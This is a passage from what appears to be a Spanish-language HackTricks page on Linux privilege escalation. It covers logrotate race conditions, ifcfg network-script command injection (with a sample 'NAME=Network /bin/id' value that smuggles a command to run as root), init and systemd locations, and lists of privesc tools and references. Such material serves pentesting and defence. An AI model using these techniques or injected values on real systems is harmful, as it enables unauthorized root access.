Una vulnerabilidad en logrotate permite que usuarios con permisos de escritura sobre un archivo de log o sus directorios padre potencialmente obtengan privilegios elevados. Esto se debe a que logrotate, que suele ejecutarse como root, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como /etc/bash_completion.d/. Es importante revisar permisos no solo en /var/log sino también en cualquier directorio donde se aplique la rotación de logs.
Tip
Esta vulnerabilidad afecta a
logrotateversión3.18.0y anteriores
Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Puedes explotar esta vulnerabilidad con logrotten.
Esta vulnerabilidad es muy similar a CVE-2016-1247 (nginx logs), así que siempre que descubras que puedes alterar logs, comprueba quién gestiona esos logs y verifica si puedes escalar privilegios sustituyendo los logs por symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Si, por cualquier motivo, un usuario puede escribir un script ifcf-<whatever> en /etc/sysconfig/network-scripts o puede ajustar uno existente, entonces tu sistema está pwned.
Los network scripts, ifcg-eth0 por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d).
En mi caso, el atributo NAME= en estos network scripts no se maneja correctamente. Si tienes espacio en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco. Esto significa que todo lo que esté después del primer espacio en blanco se ejecuta como root.
Por ejemplo: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Nota el espacio en blanco entre Network y /bin/id)
init, init.d, systemd, and rc.d
El directorio /etc/init.d contiene scripts para System V init (SysVinit), el clásico sistema de gestión de servicios de Linux. Incluye scripts para start, stop, restart, y, a veces, reload de servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos en /etc/rc?.d/. Una ruta alternativa en sistemas Redhat es /etc/rc.d/init.d.
Por otro lado, /etc/init está asociado con Upstart, un sistema de gestión de servicios más reciente introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
systemd surge como un gestor moderno de inicialización y servicios, ofreciendo funciones avanzadas como inicio de daemons bajo demanda, gestión de montajes automáticos y snapshots del estado del sistema. Organiza archivos en /usr/lib/systemd/ para paquetes de distribución y /etc/systemd/system/ para modificaciones del administrador, agilizando la administración del sistema.
Other Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).
Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Protecciones de seguridad del kernel
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Más ayuda
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
Referencias
- 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
- 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

